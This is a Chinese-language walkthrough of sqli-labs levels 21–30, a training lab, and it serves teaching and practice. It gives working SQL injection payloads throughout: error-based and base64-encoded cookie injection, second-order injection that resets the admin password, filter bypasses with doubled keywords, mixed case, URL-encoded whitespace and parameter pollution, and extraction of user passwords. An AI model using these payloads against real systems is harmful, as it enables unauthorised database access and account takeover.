第二十一关

第二十一关我们正常登陆后看到,uname后面变成了一堆字母



这是经过base64编码之后的样子,所以就照葫芦画瓢,将我payload的uname后面的部分转码成base64,这里可以用正常的注入套路order by等一步步走,但为了方便我直接用报错注入,但这里注意闭合是')

uname=admin') and updatexml(1,concat(0x7e,(select database())),0) #

将uname=后面的部分都base64编码一下

uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSksMCkgIw==



爆内容:

uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDAsMSkpLDApIw==

第二十二关

这关正常登陆和上关回显一样盲猜就是换了个闭合符号,测试下还真是闭合换成了"双引号

爆内容:

uname=YWRtaW4iICBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDAsMSkpLDApIw==

第二十三关

这关测试一下好像怎么换注释符都没作用,那就换一种注释方式,加两个引号将前后的引号闭合掉。

?id=-1'  union select 11,2,database()  '

或者用or语句闭合掉后面的引号

?id='  union select 1,group_concat(password),group_concat(username) from users where 11 or  '1'='1

第二十四关

这里是个二次注入,原本正常的数据在被调用时,其中的某些字符被当成sql语句执行了。

这里先注册一个admin' #用户,登陆。在修改密码的时候sql语句是这样的,用户名和密码被直接拿出来使用,没有转义。



所以当我们修改密码时Sql语句变为

UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

等于说变成修改了admin的密码,这里我将密码改为1234,看修改后能不能登陆admin账户,修改成功后会有succe提示



登陆admin



成功

第二十五关

这关看题目应该把and和or过滤了,但是只要双写就绕过了,因为他只过滤一次。或者直接用union select联合查询。

也可以用 &&和||代替and和or

http://192.168.0.101/sql/less-25/?id=1' anandd '1'='1' --+
-1'  union select 1,2,group_concat(passwoorrd) from users --+

第二十五a关

这关一样的,就是变成数字型注入,

-1'  union select 1,2,group_concat(passwoorrd) from users --+

第二十六关

这关过滤了很多



空格,and,or,\,/*,#等都被过滤了.所以我们直接给他加个url编码

但是这里能用的空格编码%a0在windows上不能解析,懒得在Linux上搭环境了,就不截图了。



%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格

%27单引号

用'1'='1进行闭合或者‘闭合,(注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要)

爆库名:

?id=0'union%a0select%a01,database(),3%26%26'1'='1

爆内容:

?id=0'union%a0select%a01,group_concat(passwoorrd)%a0from%a0users%a0where%a01,3%26%26'1'='1

第二十六a关

这关闭合多了个)

爆内容:

id=0')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1

第二十七关

这关把 union select一起过滤了,用大小写UniON SelECt绕过就行

爆内容:

?id=0'%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0'1

第二十七a关

和第二十七关一样,就是把单引号变成双引号闭合了

第二十八关

这关过滤了组合union select双写union union select select就行,其他还是替换url编码。

这关and没过滤

爆数据库名:

?id=1'and(ascii(substr((sElect%a0database()),1,1))>115)and'1'='1

第二十八a关

这关闭合变成了')其他一样。

第二十九关

这关开始没整明白他干了啥,我输入啥都行,看hint就把我的‘单引号url编码了,

直接爆数据。

?id=-1' union select 1,2,group_concat(username,0x7e,password) from users --+



但看题目好像用了waf百度下又看了源码。



好像是输入两个id值,waf看前面的id值过关了,apache就解析后面的

变这样

?id=1&id=0' union select 1,group_concat(password),2 from users --+

第三十关

把单引号换成双引号就行了,可能是专门设置这样的关卡来提醒我们,过waf时要多尝试不同的可能.........

sqli-labs通关教程----21~30关的更多相关文章

  1. sqli-labs通关教程----31~40关

    第三十一关 这关一样,闭合变成(",简单测试,#号不能用 ?id=1") and ("1")=("1")--+ 第三十二关 这关会把我们的输 ...

  2. sqli-labs通关教程----41~50关

    第四十关 与前几关一样,闭合变成') 插入数据 ?id=1') ;insert into users(id,username,password) values('17','aaa','bbb'); % ...

  3. SQL注入靶场sqli-labs 1-65关全部通关教程

    以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...

  4. [Python] Codecombat 攻略 Sarven 沙漠 (1-43关)截止至30关

    首页:https://cn.codecombat.com/play语言:Python 第二界面:Sarven沙漠(43关)时间:4-11小时内容:算术运算,计数器,while循环,break(跳出循环 ...

  5. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  6. LaTeX新人教程,30分钟从完全陌生到基本入门[转载]

    LaTeX新人教程,30分钟从完全陌生到基本入门[转载] 2017-02-05 分类:TeX讲义 阅读(32514) 评论(0)  这是一篇老文了,前几天看微博的时候看到的,文中的很多表达比较过激,思 ...

  7. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  8. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  9. 2017年1月4日 星期三 --出埃及记 Exodus 21:30

    2017年1月4日 星期三 --出埃及记 Exodus 21:30 However, if payment is demanded of him, he may redeem his life by ...

随机推荐

  1. C++中decltype(*)作为模板实参时的隐藏问题

    在函数模板中使用智能指针时,可能会希望根据指针的类型推导出指针引用的对象类型作为模板参数,于是写出以下代码: shared_ptr<decltype(*objPtr)>(objPtr); ...

  2. javaAPI操作ES分组聚合

    连接es的客户端使用的 TransportClient SearchRequestBuilder requestBuilder = transportClient.prepareSearch(indi ...

  3. ECMAScript 6 基础

    ECMAScript 6 基础 ECMAScript 6 简介 JavaScript 三大组成部分 ECMAScript DOM BOM ECMAScript 发展历史 https://develop ...

  4. 高数解题神器:拍照上传就出答案,这个中国学霸做的AI厉害了 | Demo

    一位叫Roger的中国学霸小哥的拍照做题程序mathAI一下子火了,这个AI,堪称数学解题神器. 输入一张包含手写数学题的图片,AI就能识别出输入的数学公式,然后给出计算结果. 不仅加减乘除基本运算, ...

  5. 用libevent写个简单的server/client

    libevent是一个轻量级的事件触发库,可以很好地利用在网络通讯上面,用其进行大量的异步,延时,重发等场景. 下面是一个server的demo #include include void cb_fu ...

  6. RuntimeError: Exception thrown in SimpleITK ReadImage: /tmp/SimpleITK/Code/IO/src/sitkImageReaderBase.cxx:107: sitk::ERROR: Unable to determine ImageIO reader for "./data/.train.txt.swp"问题解决

    原因:产生此类错误是因为SimpleITK不能读取ubuntu中的隐藏文件,比如".train.txt.swp",因为此类文件是隐藏文件另外SimpleITK不支持读取此类文件. ...

  7. C#中的字符串处理

    C#中的字符串处理 是由多个单个字符组成的.字符串的关键字是string,而我们单个字符char型.也就是一个字符串可以分为很多个char的字符.注意 同时,我们在开发项目或者学习时.更多的操作不是数 ...

  8. B 基因改造

    时间限制 : - MS   空间限制 : - KB  问题描述 "人类智慧的冰峰,只有萌萌哒的我寂寞地守望."--TBTB正走在改造人类智慧基因的路上.TB发现人类智慧基因一点也不 ...

  9. C/C++知识总结 三 C/C++数据类型与输入输出

    C/C++数据类型与输入输出 基本数据类型 输入与输出 复合数据类型(将在下几篇博客中总结) C/C++数据类型 数据类型总图 数据类型差别 数据类型不同的意义 1)指明数据的大小,以便正确分配,访问 ...

  10. 《Java基础复习》—规范与基础

    参考书目<Java 编程思想>所以大家放心食用 一.注释规范以及API文档 1.注释 1.1三种注释方法 //注释内容 单行注释 /* 注释内容 */ 多行注释 /**注释内容*/ 文档注 ...